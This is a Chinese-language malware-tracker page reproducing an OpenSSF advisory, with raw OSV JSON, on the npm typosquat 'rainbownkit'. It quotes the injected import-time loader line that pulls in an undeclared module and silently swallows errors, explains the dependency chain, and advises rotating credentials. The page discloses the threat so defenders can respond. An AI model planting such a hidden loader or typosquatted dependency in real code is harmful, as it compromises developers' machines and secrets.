目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

rainbownkit

MAL-2026-6340
2026-07-27 09:45:43
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in rainbownkit (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
211
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmrainbownkit*
npmrainbownkit0.0.8
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-27T09:45:43Z","published":"2026-06-23T20:01:24Z","schema_version":"1.7.4","id":"MAL-2026-6340","aliases":["GHSA-vj5m-3jrw-83gx"],"summary":"Malicious code in rainbownkit (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a)\nPackage 'rainbownkit' is a single-character typosquat of the popular Web3 library 'rainbowkit'. The shipped source, README, repository URL, and author metadata are copied verbatim from the unrelated 'big.js' arbitrary-precision math library — a developer installing this expecting RainbowKit instead receives big.js with an injected covert loader. The package's main entry (big.js and big.mjs, both referenced via `main` and `exports`) contains an injected try/catch around line 606 that runs at require/import time: `const doc = require(\"parket-slot\"); doc.from_str().then(e => {}).catch(e => {})`. The 'parket-slot' module is not declared in package.json and would be pulled in transitively via the package's only declared runtime dependency 'log-taker' (`^0.0.9`), an undocumented niche package with no relation to the package's claimed purpose. All errors are silently swallowed, making the hidden execution invisible to the consumer. Anyone who runs `require('rainbownkit')` (or any code that imports it) executes whatever code the 'parket-slot' / 'log-taker' chain delivers at that moment — a classic two-hop dependency-confusion supply-chain payload combined with name impersonation of a high-traffic Web3 package.\n\n## Source: ghsa-malware (a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"rainbownkit"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"8ee421f3aa743362a6d8f3fbdb0192c1bba7411414379eee44c7072d69a2ae3f","tlsh":"65210477c9a59da70af85ba47c6c03aaf1151b1f00a04c57b0bb130c4f3355b2095bbd"},{"path":"big.js","sha256":"5b803b2bbd43db704b5802fa5bf4da96e79c3b876d74495116b53a837101dace","tlsh":"24c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"}],"package_integrity":[{"filename":"rainbownkit-0.0.8.tgz","hashes":{"sha1":"06fc33f46ad8a5d4a6bf1d95eea59c386e3ad0e0","sha512_sri":"sha512-Ru8xsXyJdZ+j5/0+qDdowD9yV3derEcpLi9ozzAiRBgH96SM2klwlc0NQcBsSlz4wwAdPQsvFSpLCfg25BCiLg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/rainbownkit/v/0.0.8"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vj5m-3jrw-83gx"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"970be1fb6306ff1e8dc6119d96404f600a1eb44a47124e2910bb9237bb80fe9a","import_time":"2026-06-23T20:48:30.53507161Z","id":"IN-MAL-2026-007354","modified_time":"2026-06-23T20:01:24Z","versions":["0.0.8"]},{"source":"ghsa-malware","sha256":"a56e231204249b84c1282943910bd97d343f2488d63a4bea2557c402a6272a12","import_time":"2026-07-27T09:43:03.849240848Z","id":"GHSA-vj5m-3jrw-83gx","modified_time":"2026-07-27T01:17:59Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0